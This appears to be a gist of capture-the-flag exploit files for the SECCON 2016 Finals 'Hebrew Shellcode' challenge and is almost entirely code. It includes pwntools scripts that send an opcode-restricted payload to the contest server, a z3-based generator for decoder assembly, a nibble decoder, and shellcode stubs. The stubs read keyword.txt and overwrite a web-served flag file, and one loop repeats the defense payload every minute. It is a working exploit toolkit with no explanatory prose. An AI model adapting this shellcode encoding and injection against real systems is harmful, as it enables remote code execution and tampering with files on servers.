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[SECCON 2016 Finals] Server 5: Hebrew Shellcode
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| def encode(code): | |
| result = ""; | |
| for c in map(ord, code): | |
| h = ((c & 0xf0) >> 4) + 0xD0 | |
| result += chr(h) + '\x05' | |
| l = (c & 0x0f) + 0xD0 | |
| result += chr(l) + '\x05' | |
| return result | |
| buffer = open('buffer', 'rb').read() | |
| decoder = open('decoder', 'rb').read() | |
| payload = "" | |
| payload += buffer # add eax, 0xc40 | |
| payload += '\x21\xfb' # and ebx, edi | |
| payload += '\xb7\x05' # mov bh, 0x5 | |
| payload += '\x31\xfb' # xor ebx, edi | |
| payload += '\x97' # xchg eax, edi | |
| payload += decoder | |
| payload += '\x05\x2c\xfb\x30\xfb' # glue (aa 05) | |
| payload += '\x2c\xfb' * ((3184 - len(payload)) / 2) # padding | |
| payload += encode(open('flag', 'rb').read()) # shellcode | |
| from pwn import * | |
| s = remote('5.finals.seccon.jp', 12345) | |
| s.send(payload + '\n') | |
| s.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| BITS 32 | |
| cdq | |
| add eax, 0xfb20fb30 | |
| cdq | |
| add eax, 0xfb20fb30 | |
| cdq | |
| add eax, 0xfb20fb30 | |
| cdq | |
| add eax, 0xfb20fb30 | |
| cdq | |
| add eax, 0xfb20fb30 | |
| cdq | |
| add eax, 0xfb20fb30 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005d0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb2005e0 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0xfb3005e0 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d0fb30 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5d005e0 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e0fb20 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
| cdq | |
| add eax, 0x5e005d0 | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| BITS 32 | |
| add eax, 0xfb30fb2e | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb3005d8 | |
| cdq | |
| add eax, 0xfb3005da | |
| cdq | |
| add eax, 0xfb3005dc | |
| stosb | |
| add eax, 0xfb30fb25 | |
| cdq | |
| add eax, 0xfb30fb2d | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d6 | |
| cdq | |
| add eax, 0xfb3005d6 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| cdq | |
| add eax, 0xfb3005dc | |
| stosb | |
| add eax, 0xfb30fb25 | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb3005d7 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| stosb | |
| add eax, 0xfb3005d4 | |
| cdq | |
| add eax, 0xfb3005d4 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb23 | |
| cdq | |
| add eax, 0xfb30fb23 | |
| cdq | |
| add eax, 0xfb3005d1 | |
| cdq | |
| add eax, 0xfb3005d5 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| stosb | |
| add eax, 0xfb30fb25 | |
| cdq | |
| add eax, 0xfb30fb2d | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb26 | |
| cdq | |
| add eax, 0xfb30fb27 | |
| cdq | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb3005d2 | |
| stosb | |
| add eax, 0xfb30fb2e | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d5 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| stosb | |
| add eax, 0xfb30fb24 | |
| cdq | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb2d | |
| cdq | |
| add eax, 0xfb3005d4 | |
| cdq | |
| add eax, 0xfb3005db | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb3005dd | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb3005d1 | |
| cdq | |
| add eax, 0xfb3005d1 | |
| cdq | |
| add eax, 0xfb3005d1 | |
| cdq | |
| add eax, 0xfb3005d3 | |
| stosb | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb3005d7 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| stosb | |
| add eax, 0xfb30fb28 | |
| cdq | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005db | |
| stosb | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb3005d5 | |
| cdq | |
| add eax, 0xfb3005d5 | |
| cdq | |
| add eax, 0xfb3005dd | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb2c | |
| cdq | |
| add eax, 0xfb30fb2e | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d0 | |
| stosb | |
| add eax, 0xfb30fb23 | |
| cdq | |
| add eax, 0xfb3005d9 | |
| cdq | |
| add eax, 0xfb3005da | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb24 | |
| cdq | |
| add eax, 0xfb30fb28 | |
| cdq | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb30fb2b | |
| stosb | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb30fb2d | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d2 | |
| stosb | |
| add eax, 0xfb30fb22 | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d1 | |
| stosb | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb30fb2c | |
| cdq | |
| add eax, 0xfb30fb2d | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb20 | |
| cdq | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb30fb2e | |
| cdq | |
| add eax, 0xfb3005d5 | |
| stosb | |
| add eax, 0xfb30fb27 | |
| cdq | |
| add eax, 0xfb3005d1 | |
| cdq | |
| add eax, 0xfb3005d4 | |
| cdq | |
| add eax, 0xfb3005da | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb27 | |
| cdq | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb3005da | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb3005d4 | |
| cdq | |
| add eax, 0xfb3005d4 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d1 | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d2 | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb2d | |
| cdq | |
| add eax, 0xfb30fb2e | |
| cdq | |
| add eax, 0xfb3005dc | |
| cdq | |
| add eax, 0xfb3005dd | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb26 | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb3005d1 | |
| cdq | |
| add eax, 0xfb3005d2 | |
| cdq | |
| add eax, 0xfb3005d2 | |
| stosb | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb3005d9 | |
| cdq | |
| add eax, 0xfb3005dc | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb3005d5 | |
| cdq | |
| add eax, 0xfb3005da | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb30fb2e | |
| cdq | |
| add eax, 0xfb30fb2e | |
| cdq | |
| add eax, 0xfb3005d4 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| stosb | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb3005dc | |
| cdq | |
| add eax, 0xfb3005dc | |
| stosb | |
| add eax, 0xfb3005d1 | |
| cdq | |
| add eax, 0xfb3005d9 | |
| cdq | |
| add eax, 0xfb3005d9 | |
| cdq | |
| add eax, 0xfb3005db | |
| cdq | |
| add eax, 0xfb3005dd | |
| stosb | |
| add eax, 0xfb3005d8 | |
| cdq | |
| add eax, 0xfb3005da | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb24 | |
| cdq | |
| add eax, 0xfb30fb28 | |
| cdq | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb30fb2b | |
| stosb | |
| add eax, 0xfb30fb2c | |
| cdq | |
| add eax, 0xfb3005d3 | |
| cdq | |
| add eax, 0xfb3005d8 | |
| cdq | |
| add eax, 0xfb3005de | |
| cdq | |
| add eax, 0xfb3005de | |
| stosb | |
| add eax, 0xfb30fb28 | |
| cdq | |
| add eax, 0xfb30fb2a | |
| cdq | |
| add eax, 0xfb3005d4 | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb26 | |
| cdq | |
| add eax, 0xfb30fb26 | |
| cdq | |
| add eax, 0xfb3005d5 | |
| cdq | |
| add eax, 0xfb3005da | |
| stosb | |
| add eax, 0xfb30fb2c | |
| cdq | |
| add eax, 0xfb30fb2e | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d8 | |
| stosb | |
| add eax, 0xfb30fb28 | |
| cdq | |
| add eax, 0xfb30fb2b | |
| cdq | |
| add eax, 0xfb3005dc | |
| cdq | |
| add eax, 0xfb3005dc | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb3005d2 | |
| cdq | |
| add eax, 0xfb3005d6 | |
| cdq | |
| add eax, 0xfb3005d6 | |
| cdq | |
| add eax, 0xfb3005d7 | |
| cdq | |
| add eax, 0xfb3005d8 | |
| stosb | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb30fb21 | |
| cdq | |
| add eax, 0xfb3005df | |
| cdq | |
| add eax, 0xfb3005df | |
| stosb | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb30fb2f | |
| cdq | |
| add eax, 0xfb3005d0 | |
| cdq | |
| add eax, 0xfb3005d2 | |
| stosb | |
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| from z3 import * | |
| valid = [0xfb20, 0xfb21, 0xfb22, 0xfb23, 0xfb24, 0xfb25, 0xfb26, 0xfb27, 0xfb28, 0xfb2a, 0xfb2b, 0xfb2c, 0xfb2d, 0xfb2e, 0xfb2f, 0x05d0, 0x05d1, 0x05d2, 0x05d3, 0x05d4, 0x05d5, 0x05d6, 0x05d7, 0x05d8, 0x05d9, 0x05da, 0x05db, 0x05dc, 0x05dd, 0x05de, 0x05df] | |
| def search(ch, start=0): | |
| assert 0 <= ch <= 0xFF | |
| xs = [ BitVec('x%02d' % d, 32) for d in range(len(valid)) ] | |
| expr = BitVecVal(start, 32) | |
| for (a, b) in zip(valid, xs): | |
| expr += a * b & 0xFF | |
| s = Solver() | |
| s.add(expr & 0xFF == ch) | |
| expr2 = 0 | |
| for x in xs: | |
| s.add(And(x >= 0, x <= 3)) | |
| expr2 += x | |
| s.add(And(expr2 > 0, expr2 < 6)) | |
| assert s.check() == sat | |
| m = s.model() | |
| result = [] | |
| for i in range(len(xs)): | |
| n = m[xs[i]].as_long() | |
| for _ in range(n): | |
| result.append(valid[i]) | |
| return result | |
| decoder = open('decoder_sc', 'rb').read() | |
| asm = 'BITS 32\n' | |
| start = 0x00 | |
| for c in map(ord, decoder): | |
| r = search(c, start) | |
| flag = False | |
| for a in r: | |
| if flag: | |
| asm += 'cdq\n' | |
| asm += 'add eax, 0xfb30%04x\n' % a | |
| flag = True | |
| asm += 'stosb\n' | |
| asm += '\n' | |
| start = c | |
| print asm |
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| BITS 32 | |
| jmp tail | |
| start: | |
| pop eax | |
| mov esi, eax | |
| mov edi, eax | |
| xor ebx, ebx | |
| xor ecx, ecx | |
| mov edx, 0x300 | |
| nop | |
| loop: | |
| mov bl, byte [esi] | |
| shl bl, 4 | |
| inc esi | |
| inc esi | |
| mov cl, byte [esi] | |
| inc esi | |
| inc esi | |
| and ecx, 0x0f | |
| add ebx, ecx | |
| mov byte [edi], bl | |
| inc edi | |
| dec edx | |
| test edx, edx | |
| je tail2 | |
| jmp loop | |
| tail: | |
| call start | |
| tail2: |
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| def get_flag(): | |
| import os | |
| flag = open('flagword', 'r').read() | |
| print 'Defense flag:', flag | |
| return flag | |
| def encode(code): | |
| result = ""; | |
| for c in map(ord, code): | |
| h = ((c & 0xf0) >> 4) + 0xD0 | |
| result += chr(h) + '\x05' | |
| l = (c & 0x0f) + 0xD0 | |
| result += chr(l) + '\x05' | |
| return result | |
| buffer = open('buffer', 'rb').read() | |
| decoder = open('decoder', 'rb').read() | |
| defense = open('defense', 'rb').read() | |
| payload = "" | |
| payload += buffer # add eax, 0xc40 | |
| payload += '\x21\xfb' # and ebx, edi | |
| payload += '\xb7\x05' # mov bh, 0x5 | |
| payload += '\x31\xfb' # xor ebx, edi | |
| payload += '\x97' # xchg eax, edi | |
| payload += decoder | |
| payload += '\x05\x2c\xfb\x30\xfb' # glue (aa 05) | |
| payload += '\x2c\xfb' * ((3184 - len(payload)) / 2) # padding | |
| while True: | |
| s = remote('5.finals.seccon.jp', 12345) | |
| pay = payload + encode(defense + '\n' + get_flag() + '\nAAAAAAAA\0\0\0\0\0\0\0\0') | |
| s.send(pay + '\n') | |
| print s.recv(1024) | |
| s.close() | |
| sleep(60) | |
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| BITS 32 | |
| jmp fname | |
| start: | |
| pop ebx | |
| mov ecx, 0x401 | |
| mov eax, 5 | |
| int 0x80 | |
| mov ebp, eax | |
| mov ebx, eax | |
| jmp flag | |
| readflag: | |
| pop ecx | |
| mov edx, 0x22 | |
| mov eax, 4 | |
| int 0x80 | |
| mov ebx, ebp | |
| mov eax, 6 | |
| int 0x80 | |
| mov eax, 1 | |
| int 0x80 | |
| fname: | |
| call start | |
| db '/usr/share/nginx/html/defense/flag.txt', 0 | |
| flag: | |
| call readflag |
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| BITS 32 | |
| jmp name | |
| start: | |
| pop ebx | |
| xor ecx, ecx | |
| mov eax, 5 | |
| int 0x80 | |
| mov ebx, eax | |
| mov ecx, 0x804a2a0 | |
| mov edx, 0x60 | |
| mov eax, 3 | |
| int 0x80 | |
| xor ebx, ebx | |
| mov eax, 4 | |
| int 0x80 | |
| mov eax, 1 | |
| int 0x80 | |
| name: | |
| call start | |
| db 'keyword.txt', 0 |
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